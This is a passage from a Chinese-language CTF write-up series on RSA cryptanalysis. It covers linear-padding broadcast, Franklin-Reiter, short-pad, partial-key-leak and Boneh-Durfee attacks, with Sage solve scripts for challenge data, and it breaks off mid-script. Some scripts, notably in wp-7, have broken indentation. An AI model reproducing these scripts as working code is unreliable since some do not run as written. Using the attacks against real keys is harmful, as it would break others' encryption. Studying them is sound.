&lt;p&gt;从这里你应该还会知道，当题目中多个多项式的根都是同一值时，我们就可以考虑求他们的公因子，即使求出来的不是线性的，例如是个二次或更高次，我们也能得到降幂的作用，这里的本质实际就是从解决一个$ e $阶多项式问题归约变成了解决一个1阶多项式。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-5&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题便是广播攻击的升级版，线性填充广播攻击，在这里我们得到的是
$$
c_i \equiv (a_im+b_i)^e \pmod{n_i}
$$&lt;/p&gt;
&lt;p&gt;此时如果解决这个线性同余式呢？你能会想到这里$ m $都是这些多项式的根，是不是可以用上题的方法求多项式因子进行归约，注意这里是不行的，因为每个多项式的模不同，也就是说它们是在不同的“运算空间”中，我们不能对他们进行相互运算。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;我们回想一下之前所说的关于CRT的本质，它其实就是将多个方程整合为一个方程，那这里我们依然可以利用CRT把这些多项式整合到一起，然后再通过 &lt;code&gt;CopperSmith&lt;/code&gt;求解小根便可以得到$ m $。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from gmpy2 import *
from Crypto.Util.number import *

Cs = [3883550483902420926234302242195949363902226654053022494278088796963093148922544154652393440710324453957805003804862341179812753736616349557399185135880313324078548975985811806182903172952051652658588498612963004980264760087430598878125976827727487812798234711111712162020259061748840871764150680864715622600474900724019717, 44236067230701013362887598977513235723198800481322709348886355202907732899445854511587419035591039483362973933824325371001141984765195796979842132811747908218486539899605454036424269293612496645594202012384509417494958938609654993954815298870367636552785788956298375017694826184378792550191638399421497826339423606821604157, 6357650953899476167368901224389387403906446759598372329485772462484633677698135444868033121301336092469156582681179266678600618088894651608959308419170191169045155695737438290373562868522834196889856654007109891894017495798358315308038562408520108440771857096111507359080036538511243240503551392124933753089110476128205879, 22113876206623661433094377745740418662890776774627724662206682745097788065566600734855556673140969239465263787646309908630165398806037735405429975451284487302914604239730662891329034924321076102542709261476260968369261179396546360622009680551846353241542278987410340410787241742872482813920394082039159494900989803139848, 3482139402999788223900773097355269284333433274039980036209713091774078099956379218113295375979469580323031564990774054948555715060182912479470463142901382767332589017162687376944227096536463901792518843690268101660074429034365722795293704792196728134808253362549344588424246863639211005569740713503298812433885633339928000]
Ns = [16475947720089128737086499038994656469812989231809435921247088488421456071533054401942524421620331649062071397844226728071767213827034006847771426419523100773295773164564476217357610574522713490589578290280800714302496527429690267342283298617108512673396866659851168908725556917773195601048972304412711680140760801040935590195586074637385222382292803661244860123231496798860777536415139625565081790463543592610972293444445484103576151223863074744798386995109810985102707212603792744509634887671301358727199987659311189567616661188675145831286196163294361139604739930788248190209148634033965292667427275010588011907449, 20577756967813119473983751142406348831049793754920537415005815223703461130310397180758312537008616509869607815711902558904863798387297921980544196445945053155779852988514975874071063143079007922739179751830691324912287324521191080786349595537328978318940405478035852622078260078106150355838894304903666410802941404171580632337325226810035755441751019274785623857299274197733366157959314887828355684391955406242669453470960096408521602483306976326328443227588146790803825249363494429478920856868334932355802422905860734038456902208606699044555491079703407805059303577939602439962034474867810455961978123428573930309579, 25378900199358568547963276996842869295995268651191814514603221510827400166103120330924988917554751086130358554721062101701515825946297524373525439060420148179742729309006073061967296139229954269726231365437710075337125457376990188019604789882474361937774315087501386157518068677103700336670450539759041322742305750381808526633011613014316600728378154635620303486714630541107978228937765593165029293600696974317531575469630789089360595175501977260250968161370460576429760743419177492425307438895058834861598683601140950473599184767494278677563047031229859204765208419798131798581975676005652781036214330956450007099403, 9926930930542540303568927026135349869339912234415090245441062010278559018661286180235901235221302260175325531516014675014545716516533078219977130807590578846757066721033900594646767488495122383467444918251577083210413483316448060657426105745966157951221212755678202988755054192555411944547922101946719460879213184073264876177559979901796761414990531875287201475974601204234252323254624416703924391519239658714195344209537776288504410483034555245167972866281710032749023882686703242857598745646748066876170805806058616787854614797120972981188197354785585317082619741063413472652781873599900240100437586392949061248911, 20830107058752240343833750223075661528901765032886427653372256688107333986271844745610709207164953960695218903201021174901973495649232416991828815735226979007977454196096030222267886398005100472650709789400722193947140354500257454594031250139843254349174343293378469322212240525155348525032929797789787100019790044104691478313003888625343348575779856701393153928092199647854293030744711864943595605801812851745568294572509414459253058726953902809163955547592002726224051451969415362170516701646937298176613945563863745599843208814303891064544739910893746169725919856235296428308161065429422882694228900677440053029677]
A = [56, 126, 66, 10, 54]
B = [261, 191, 877, 352, 62]
e = 3
  Fs = []
  for i in range(5):
      PR.&amp;lt;x&amp;gt; = PolynomialRing(Zmod(Ns[i]))
      f = (A[i]*x + B[i])^e - Cs[i]
      f = f.monic()
      f = f.change_ring(ZZ)
      Fs.append(f)
  F = crt(Fs, Ns)
  M = reduce(lambda x, y: x * y, Ns)
  FF = F.change_ring(Zmod(M))
  m = FF.small_roots()
  print(long_to_bytes(int(m[0])))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;上面代码就是进行循环，每个循环先定义一个多项式环，元素范围为 &lt;code&gt;Zmod(Ns[i])&lt;/code&gt;，即模 &lt;code&gt;Ns[i]&lt;/code&gt;的整数域，然后在其上定义多项式，再转换为首一多项式方便后面的运算，注意后面的 &lt;code&gt;f.change_ring(ZZ)&lt;/code&gt;这一步，这是更换多项式的环（即运算空间），因为我们说了不同空间下的元素是不能相互运算的，所以我们先将其转换为统一的空间 &lt;code&gt;ZZ&lt;/code&gt;（代表整数域）。
最后进行crt（sage自带），再将得到的这个大多项式的域更换为所有模数的乘积（和广播攻击类似），这样对于这个模多项式来说，我们的根$ m $相比模来说就显得非常小了，至少小于了$ n^{1/e} $，这样我们便可以利用coppersmith来进行求解根。&lt;/p&gt;
&lt;h1&gt;wp-6&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题是上题的升级版，这里不光是线性消息，而且$ e $也各不相同了，这类问题我们称为
&lt;code&gt;systems of modular univariate polynomial equations&lt;/code&gt;，一元模多项式方程组求根问题，关于这里RSA中的论文参考
&lt;a href=&quot;https://link.springer.com/content/pdf/10.1007/978-3-540-78440-1_3.pdf&quot;&gt;Solving Systems of Modular Equations in OneVariable: How Many RSA-Encrypted MessagesDoes Eve Need to Know?&lt;/a&gt;
由于阶数不同，我们不能直接使用CRT，所以我们先将其转变为同阶多项式，这里 &lt;code&gt;Hasted&lt;/code&gt;广播攻击的方法为对每个多项式乘上$ (a_im+b_i)^{e - e_i} $来操作，其中$ \beta $为最高阶，也就是让其他多项式差多少阶就乘多少。
文中证明了当
$$
\sum\frac{1}{e_i}\ge 1
$$&lt;/p&gt;
&lt;p&gt;时能够攻击成功。
这里我们要让3和5阶变成同阶，对于三阶的
$$
c_i \equiv f_i^3(x)\pmod{n_i}
$$&lt;/p&gt;
&lt;p&gt;我们变成$ c_i = f_i^3(3) +kn_i $后，两边平方我们有
$$
f_i^6(x) \equiv 2c_if_i^3(3) - c_i^2\pmod{n_i^2}
$$&lt;/p&gt;
&lt;p&gt;而对于5阶的变成六阶则
$$
f_i^6(x) \equiv c_if_i(x) \pmod{n_i}
$$&lt;/p&gt;
&lt;p&gt;即可。这样我们会发现把与其把两个3阶变成5阶不如全部变成6阶更简单。这种方法非常不错，但我们还有一种更简单的办法对于一般的题目，例如对于上面三阶的式子，我们改写成
$$
f(x) \equiv (a_im+b_i)^e_i - c_i \pmod{n_i}
$$&lt;/p&gt;
&lt;p&gt;则可以有
$$
f&apos;(x) \equiv x^2f_i(x) \pmod{n_i}
$$&lt;/p&gt;
&lt;p&gt;显然因为$ m $是原方程的根，所以乘上$ x^2 $根不会改变，这样我们就直接得到了一个5阶多项式。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from gmpy2 import *
from Crypto.Util.number import *

Cs = [1638372860396333830858192139299197565315535797114047251934794618479536350353064186140459367290707128364710894701037380862116232991456320452033817724729745999551370161110364719775843718524874686887258953369568831680913879476181277785920985528366522169515587323204831502022101524013959969707030218702665635534427846097310528, 24875103245287518333798583341170669610612985353699595724009027288108265538326708679930645795919635882205442133007431151523157879281206220723880745758565471501438254496442690083695181899335274484890789079296262809116356375268279845048678237286447923982167817217922153443176926762232059077533241044053964988769850924306985288, 64688172933628370164101081823612690628987450046625542396917972565171355353907472697857255273381548322579305723285123851525656566580337341114653428214836087595329638898225145943365511037774869374134885003316128253926961420282704740956759510282270641913416144450959604091354160410240665076557553695082195679797827535998182932257141208537699109343258070255441327703937342812407754987740672481360192201134257594522722416452532574980648175817255926752015634178759148371873886725487426882416560377719144628014480729074137290874113394638649, 2331510898077623659120984694249257439156322301842388986730933314009350853947089766519871253176646702446795943582256729119033154456495699173945031006143311061427619102940335615125087858864022720270624007893746341836293909702537610528426633085355155950799091717823412938027363876570661223166297511428235178239172777386054157082903814899961457013918859628205065752880604381763832163537338551244398891801443773401629786720308176486501031559320335954176695196225203579812567823068688019940197116285653102121974647104338589625423162979123200000, 43352520643859740433225512983905414415548381386134203892101097918185149451843972944152506360707251233402378401486868477947209998018140026240239412053179633750634829740693522063308924633469091372871162080586416600131760956876088974352867618081110555761392159757815560347289247112408714776983781605234434193615594699312985986139327998952524143416350988540093792251368427565860264534170095799987780694458909019564914374157162696794037736526763479508220179034487041180476942175322953798097172419873588374189541978291235559914015746424832]
Ns = [18851715582267592911067637781505654688524006829609246212518637897179276424340538881817812202528554956234031661903911094094631063183133761100477455043312123459298106634164727720627011192110779310094771478538283788677548037922530846281891688189750395295091964623923749350256625089576542690752106832774515171043826627323369467260229924116376613509392517052062075900227272040203183759436637270279153088519018200373369193287900910393638164679806105636141482865492140475543667203300150180799017010647191076802371803957049729665372388660643393619274625881752621206735741181918995753694012667166942840946695127545765890742063, 10267889563711456032579409966472790716819993551437295130252040883990243681903448974535591113545723576913765740482844093394217174748720819947126768257873382519317182097620449979975383634794725676148262423293825784384533131631434500141020335993500562261013949796155168237990517113432978329233691874362416933639983930536969236091719851430961549012395926775041931819868164629850848771931505977967078205269399517880792473005512550209988476927697762292764104113892623269364458825553466135026856101503576301198196565099526473547248865742864274841493027912793979121030411574680325683879250124843231524231297963898683611241527, 13319929603701741793046504861847275881318265379528541599237187836042138080675688093798835275556697353969650992398737328710351200421781106774355347739070892841366306344713730729129300977800957626288502163079067715579382767916393807593767445074588824226624616133919776732577297061788596743900830022053036147505073981250694269494874718657327986653908553022998256475699594299485467200757418076210359679356806790879777840686012933726208975488043576064467651494231751296178499718963576152784658938960177680763100892103245100085259616393419229979173756419121148473713407084223326468838444608241533523272737548699784114288903, 15549454451010517732114866346347857621738418424726590607108866905866201671458396332585415677794254468988000522332928496951404966782246273839731570675805037547434885303486571417761150107287375265185136666085669367768385334732360327965658288195932251712038801089064036484182689420567148777802229959025706026709147490355638461816828297349827923064039389517458474972494803430895794622409100453812936135163906960476019328052200697229957383357240180993014685003281514802948810450239516985749998285384120569891328984748185007801287194757011610585773959113119657356194098917480068595559585415503075706079451596444873538025303, 10893748607240110955496798243605432030914497581057961213501578142738832043376333318606333861002076584473798177824249978795107994620002676260061434742704861691017695197358462123116073867166385116309506188722505093349759974669126863738760846667781081937653476878088812043691664173859578763022307064317030903235196823302973152319271598841684324885625237030423977448610068847582315745648803893547950848775977888604054275196982524051414526965045483738781651554877828535198984557716599475979572917851219474771059404496356672662467552795811246938928548202179363916774439119111218984949582826015360298300266708147597580287967]
A = [42, 104, 13, 106, 12]
B = [338, 554, 768, 638, 548]
e = [3, 3, 5, 5, 5]
cnt = 5

Fs = []
PR.&amp;lt;x&amp;gt; = PolynomialRing(ZZ)
for i in range(5):
    f = (A[i]*x + B[i])^e[i] - Cs[i]
    f = f.change_ring(Zmod(Ns[i]))
    f = f.monic()
    f = f.change_ring(ZZ)
    Fs.append(f)
F = crt( [Fs[0]*x^2, Fs[1]*x^2, Fs[2], Fs[3], Fs[4]], [Ns[i] for i in range(cnt) ] )
M = reduce(lambda x, y: x * y, Ns)
FF = F.change_ring(Zmod(M))
m = FF.small_roots()
print(long_to_bytes(int(m[0])))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这里可以思考一下上述两种变成同阶的方法，为什么有第二种还要讲第一种那么麻烦的办法，因为模！我们注意到第二种方式我们得到的模不会变，以本题为例，这样最终我们得到的是
$$
p(x) = \cdots \pmod{n_1n_2n_3n_4n_5}
$$&lt;/p&gt;
&lt;p&gt;这里的多项式$ p $为5阶，则我们最多只能用coppersmith得到一个$ (n_1n_2n_3n_4n_5)^{1/5} $的根，而第一种则是
$$
p(x) = \cdots \pmod{n_1^2n_2^2n_3n_4n_5}
$$&lt;/p&gt;
&lt;p&gt;其中多项式$ p $为6阶，则我们可以得到一个$ (n_1^2n_2^2n_3n_4n_5)^{1/6} $的小根，对于本题$ n $的比特长度一样的情况，第一种则是可以得到一个$ n $大小的根，第二种则可以得到一个$ n^{7/6} $的根，如果某些题目涉及卡精度的话，我们就只能使用第一种方式了构造同阶了。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-7&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题为短填充攻击例题，即给出两组密文，且明文满足$ m_2 = m_1 + r $时则可以使用该方式，其实这就是线性填充攻击当$ a=1 $时的情况，我们直接使用线性信息攻击的思路就可以了，这里主要是讲解一下当$ r $未知的情况。
考虑两个二元多项式
$$
f_1(x, y) = x^e - c_1\bmod{n}\
f_2(x, y) = (x+y)^e - c_2\bmod{n}
$$&lt;/p&gt;
&lt;p&gt;显然$ (m_1, r) $是多项式的一组根，而&lt;a href=&quot;https://en.wikipedia.org/wiki/Coppersmith&apos;s_attack#Coppersmith.E2.80.99s_short-pad_attack&quot;&gt;这里&lt;/a&gt;指出了这俩多项式经过 &lt;code&gt;resultant&lt;/code&gt;后将得到一个$ y $的多项式，并且$ r $是其中的一个根，则我们再利用CopperSmith求出这个小根即可得到$ r $。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当然这种方式对于本题的$ r $不适用，你可以自行改变附件中$ r $的大小生成新的数据来尝试在$ r $不存在的情况下恢复$ r $，再进行求解线性信息攻击。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from gmpy2 import *
from Crypto.Util.number import *

def franklinReiter(n,e,r,c1,c2):
    R.&amp;lt;X&amp;gt; = Zmod(n)[]
    f1 = X^e - c1
    f2 = (X + r)^e - c2
    return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])
    def compositeModulusGCD(a, b):
      if(b == 0):
          return a.monic()
      else:
          return compositeModulusGCD(b, a % b)

  def CoppersmithShortPadAttack(e,n,C1,C2,eps=1/30):
      &quot;&quot;&quot;
      求解r
      Figured out from: https://en.wikipedia.org/wiki/Coppersmith&apos;s_attack#Coppersmith.E2.80.99s_short-pad_attack
      &quot;&quot;&quot;
      P.&amp;lt;x,y&amp;gt; = PolynomialRing(ZZ)
      ZmodN = Zmod(n)
      g1 = x^e - C1
      g2 = (x+y)^e - C2
      res = g1.resultant(g2)
      P.&amp;lt;y&amp;gt; = PolynomialRing(ZmodN)
      rres = 0
      # 这一步的目的是因为虽然res只包含y，但它还是在二元多项式环空间中，我们提取系数和指数重新生成一个一元多项式
      for i in range(len(res.coefficients())):
          rres += res.coefficients()[i]*(y^(res.exponents()[i][1]))
            diff = rres.small_roots(epsilon=eps)
  return int(diff[0])
    c1 = 135074766579407676786282087896424573055829820741326911395660008092908906818293714163243721440579480398437184153110701014575949020137195005556115765711856362529093323957313305701439430406396620730435232669024347062255561124227077117736226705746520202121773331267896121082546807985584499775544186860738299210902
  c2 = 52198561898892210533988782934627447441579509170862004216826284305082884787397969852570583444422705227177306845788090962326207704949679636373972262848806083888114511515323970306654941921527306928423850775839578728701294521014874290792581635297504014585143468088934951952990888189000603302912352199468290961647
  r = 7226418134082605571805056000800553195029496658257912353583130240746954757224748488491991266548553899116384605868480860827154816241193159482670000874841821
  n = 144690523587663809780722437199578577582544144694543134253077982812595463236242062416509866333774784681011350541203308061301675822157859373788530465702809816586981803008466959154241234879285863437666243631170277595720205934928759253610014553402523757331771549475265418644503305010214366648156173843801360148229

  m = franklinReiter(n, 9, r, c1, c2)
  print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-8&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;从本题开始，我们将来学习如何从部分信息中恢复整体，本题泄露了$ m $的高位（或者说隐藏了$ m $的地位），那么这些泄露的数据有什么用呢，我们考虑RSA的加密本质实际上就是一个模多项式
$$
f(x) = x^e \bmod{n}
$$&lt;/p&gt;
&lt;p&gt;现在我们得到了其中的一个函数值即$ f(m) = c $，所以等于我们要求解模多项式
$$
p = x^e - c\bmod{n}
$$&lt;/p&gt;
&lt;p&gt;的根，之前我们介绍了Coppersmith可以求解小根，但是这这里的$ m $还是太大了，但是因为$ m $的高位泄露了，我们可以将$ m $写为$ m=m_h+x $，此时有
$$
p = (m_h + x)^e - c \bmod{n}
$$&lt;/p&gt;
&lt;p&gt;此时我们还知道$ x $位数为100，显然小于$ n^{1/e} $（1024/3位）。所以我们便可以用Coppersmith进行求解根。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from gmpy2 import *
from Crypto.Util.number import *

n = 1527542955109141740955682973826193262775892499957309448026045241470857728195657663426381459817190647872750820593934305392986732687654051540838628636529717414135863605586498459487983117670942529496973140251670874510207985224170313618738268651184582186637089407746738836054395760157095709388670653150429457223183161697730087281761369404956762102465246289770300941300936135728738323821631682286737786472020790680432476428922187234364341215016265407571963282147129157
m = 2214226572250613833249705195927505959981823363137633354626532745196588970707
c = 22113876206623661468496987580282614626160320529328454393375952035910523390370709980915981609422504775420007441257006956611997263223244837790238493516238723139514158563675396731542096229586616735753203254810465452822757959264870210654015436735165961713016222816604825816304606749448517022584926571828009062411578367333

m = m&amp;lt;&amp;lt;100

print(long_to_bytes(m))
PR.&amp;lt;x&amp;gt; = PolynomialRing(Zmod(n))

f = (m+x)^3 - c
res = f.small_roots()
m = int(res[0] + m)
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这类部分信息泄露的题目我们会在往后经常遇到，大部分情况都是构造利用泄露的部分信息减少多项式中根的大小，从而再利用Coppersmith进行求解。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-9&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;明白了上题我们再来看本题，泄露了$ p $的高位，我们先列出有关$ p $的模多项式
$$
f(x) = x \bmod{p}
$$&lt;/p&gt;
&lt;p&gt;显然这个多项式的根为0或者$ kp $，但是我们我们如果已经有模数$ p $了，还要求解$ p $干啥呢？&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;此时我们则要利用Coppersmith的第二个作用，还可以求解其因数的根。所以对于多项式
$$
p(x) = x\bmod{n}
$$&lt;/p&gt;
&lt;p&gt;我们利用Coppersmith还可以得到$ f(x) $的根（如果这个根足够小），此时我们将$ p = p_h+x $，则得到
$$
p(x) = p_h + x\bmod{n}
$$&lt;/p&gt;
&lt;p&gt;显然此时根为$ p-p_h $。则我们可以通过此办法得到$ p $，注意这种办法的上界为要求我们得到的信息至少大于$ n^{9/32} $，即对于1024位的$ n $，至少得到大概300位的$ p $才有可能解出，部分题目有时候会故意泄露位数不足，需要手动爆破几位再进行求解。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from gmpy2 import *
from Crypto.Util.number import *

n = 64335017257291288694879798080666629573501118113377179370850991421806469826103134483305987256497147128148330360834028920504233940886960965527818740354522230977284177508093687651712761343376265176857120577153061490788347779327206437787594150381508592990273475278503352979893670354730287704989079247190299342871
p = 7550547038897825994210519739007596111285476244196123253081036462313916767780871742001683690783926938603422562506786339392389
c = 63156227746402147833665215816432368072100003179308515827461336094419526246728847463629131014545663919689064970828884371592840335299717484415279040662500514230579275586231051576688620810169339105201465431624989678170362157914366609856305650090630980489686792938272599406165204410721499875713189193728688835223

p = p&amp;lt;&amp;lt;100

PR.&amp;lt;x&amp;gt; = PolynomialRing(Zmod(n))

f = p+x
res = f.small_roots(X=2^100, beta=0.4)

p = int(res[0]) + p
q = n // p
print(q)
d = inverse_mod(65537, (p-1)*(q-1))
m = power_mod(c, d, n)
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-10&lt;/h1&gt;
&lt;p&gt;本题和之前一样泄漏了参数的部分内容，这里我们得到的是$ d $的低位，我们则考虑如何构造一个包含$ d $的式子，我们有&lt;/p&gt;
&lt;p&gt;$$
ed \equiv 1 \pmod{\varphi(n)}
$$&lt;/p&gt;
&lt;p&gt;即&lt;/p&gt;
&lt;p&gt;$$
ed = 1 + k(p-1)(q-1)
$$&lt;/p&gt;
&lt;p&gt;令$ q = n/p $，化简得&lt;/p&gt;
&lt;p&gt;$$
ed - 1 = k(n - p - n/p + 1)\
$$&lt;/p&gt;
&lt;p&gt;即&lt;/p&gt;
&lt;p&gt;$$
edp - kp(n-p+1) + kn = p
$$&lt;/p&gt;
&lt;p&gt;此时，如果我们得到了$ d $的地位$ d_l $，假设$ d_l $为$ \alpha $位，则有$ d\equiv d_l \pmod{2^\alpha} $，所以对上式方程两边同时模$ 2^\alpha $得&lt;/p&gt;
&lt;p&gt;$$
ed_lp - kp(n-p+1) + kn \equiv p \pmod{2^\alpha}
$$&lt;/p&gt;
&lt;p&gt;而我们又知道$ ed $和$ k\varphi(n) $是几乎一样大（就相差1）的，而这里$ e $很小，而$ d $本身是小于$ \varphi(n) $的，则说明$ k $也很小，甚至我们可以得到他的范围一定在$ [1, e) $中，所以我们可以通过爆破的方式得到$ k $。这样方程中的未知数便只剩$ p $，则我们可以尝试利用sage的 &lt;code&gt;solve_mod&lt;/code&gt;求解模方程，如果有解，我们则可以得到一个解$ p_l \equiv p\pmod{2^\alpha} $，此时虽然我们没有直接得到$ d $，但我们利用$ d_l $得到了$ p $的低位$ p_l $，此时我们可以考虑转化为上一题中已知$ p $的部分信息来构造模多项式&lt;/p&gt;
&lt;p&gt;$$
f(x) = 2^\alpha x + p_l \bmod{n}
$$&lt;/p&gt;
&lt;p&gt;则我们利用coppersmith就可以得到模$ p $下面的一个解$ p_h $满足$ 2^\alpha p_h + p_l = p $。则我们成功对素数进行了因数分解。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

def partial_p(p0, kbits, n):
    &quot;&quot;&quot;
    利用p的低位恢复p
    f(x) = 2^\alpha*x + p_l (mod n)
    &quot;&quot;&quot;
    PR.&amp;lt;x&amp;gt; = PolynomialRing(Zmod(n))
    nbits = n.nbits()
    f = 2^kbits*x + p0
    f = f.monic()

    &apos;&apos;&apos;
    这里的X便是指定解的上界，即我们知道p_h &amp;lt; 2^(nbits//2-kbits)
    beta则是我们介绍coppersmith中提到的指定因数p &amp;gt; n^beta
    &apos;&apos;&apos;
    roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3)

    if roots:
        x0 = roots[0]
        p = gcd(2^kbits*x0 + p0, n)
        return int(p)

def find_p(d0, kbits, e, n):
    X = var(&apos;X&apos;)  # 定义一个变量
    for k in range(1, e+1):  # 爆破k
        results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
        for x in results:  # 如果有解，便得到了p_l
            p0 = ZZ(x[0])  # 注意&quot;运算空间&quot;，转换为整数域，不太熟悉的可以直接使用int()转换即可。
            p = partial_p(p0, kbits, n)
            if p:
                return p

n = 156739515226635581524592797610847324418529702729659760727202454324501479907596255649349406182566636617352761983459648380669151952249526892078378572831346100444943020314226860094300911303589453661009834514243241261318188779118227457185670049393331570167726982038500849886842419000632840251465852441285715712609
d = 1865327042408619801352057511348007441275330638921397637214779955824487081626289235627502761209800783644652914147540081431451
c = 72260884070910873253619893714557327479300651539617744913822595501549980223259020597000998829262506949824325397279990912888752157554696212466966682483623575703479116305560808218806054242135099446883072418808228726774129042552815016924170283352225826854235696829480360844745488070927932843928843556296485306121
e = 7
p = find_p(d, 410, e, n)  # 410则是题目泄漏的位数大小，
q = n // p
d = inverse(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, n)))
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;wp-11&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题非常类似维纳，但是仔细观察会发现，这里的$ d = n^{0.27} $，而维纳攻击要求$ d &amp;lt; \frac{1}{3}n^{0.25} $。所以我们直接使用维纳攻击是得不到结果的。而这里我们则需要使用一种新的攻击方式：&lt;a href=&quot;https://link.springer.com/content/pdf/10.1007/3-540-48910-X_1.pdf&quot;&gt;Boneh and Durfee Attack&lt;/a&gt;
我们有
$$
ed = 1 + k\varphi(n)
$$&lt;/p&gt;
&lt;p&gt;即
$$
k(n - p - q + 1) + 1 \equiv 0\pmod{e}
$$&lt;/p&gt;
&lt;p&gt;继续变形
$$
2k(\frac{n+1}{2} - \frac{p+q}{2}) + 1 \equiv 0 \pmod{e}
$$&lt;/p&gt;
&lt;p&gt;此时设$ x = k, y = -\frac{p+q}{2} $，则我们得到了一个模$ e $意义下的二元多项式
$$
f(x, y) = 2x(\frac{n+1}{2}+y) + 1 \bmod{e}
$$&lt;/p&gt;
&lt;p&gt;后续 &lt;code&gt;Boneh&lt;/code&gt;和 &lt;code&gt;Durfee&lt;/code&gt;给出了对这个方程存在解的上界的证明，当$ d &amp;lt; n^{0.292} $时，便可以找到解，但注意实际我们今天所使用的脚本实现的并不是原始方法，而是由 &lt;code&gt;Herrmann&lt;/code&gt;和 &lt;code&gt;May&lt;/code&gt;进行优化过后的构造方式。所以它的上界只能达到$ n^{0.29} $当然这对于我们来说已经够了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

N = 160114502501162084436964583573537478796032975208003641998245321466054315024090626426576990670846673676284220472762005347545857048805279326218401844652650972020279579076862422448095751869541093396088035262462766840652498826036642824370917665518133929602675230369722990871966227199496065637730328810028624771799
e = 45345940569506069958442629331605385637541863502889625766318025882612322508079296362452308633027956256763871699363730475762179734871820426435674201573024637206928394192742633431788159554008858191365192772486379417021387095234660386008405855409257903024187126197769938866986740500855322639995703897171982472409
c = 54804574756729863920967159846060185937697266820658443964397350756668642051647933464063713653569896152539760694973280490768379727191709149635944250514794939902138783777815040318178431874892245462786377699958110644049375757179588739287406833915772871299296750059138805811112990483420256564588150314150915692126
&quot;&quot;&quot;
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
&quot;&quot;&quot;
debug = False

&quot;&quot;&quot;
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don&apos;t have a correct
upperbound on the determinant. Note that this
doesn&apos;t necesseraly mean that no solutions
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
&quot;&quot;&quot;
strict = False

&quot;&quot;&quot;
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don&apos;t work, you should try
disabling it
&quot;&quot;&quot;
helpful_only = True
dimension_min = 7  # stop removing if lattice reaches that dimension


######################
# Functions
#####################

# display stats on helpful vectors
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii, ii] &amp;gt;= modulus:
            nothelpful += 1

    print(nothelpful, &quot;/&quot;, BB.dimensions()[0], &quot; vectors are not helpful&quot;)


# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = (&apos;%02d &apos; % ii)
        for jj in range(BB.dimensions()[1]):
            a += &apos;0&apos; if BB[ii, jj] == 0 else &apos;X&apos;
            if BB.dimensions()[0] &amp;lt; 60:
                a += &apos; &apos;
        if BB[ii, ii] &amp;gt;= bound:
            a += &apos;~&apos;
        print(a)


# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1 or BB.dimensions()[0] &amp;lt;= dimension_min:
        return BB

    # we start by checking from the end
    for ii in range(current, -1, -1):
        # if it is unhelpful:
        if BB[ii, ii] &amp;gt;= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let&apos;s check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj

            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                # print(&quot;* removing unhelpful vector&quot;, ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                return BB

            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) &amp;lt; abs(
                        bound - BB[ii, ii]):
                    # print(&quot;* removing unhelpful vectors&quot;, ii, &quot;and&quot;, affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
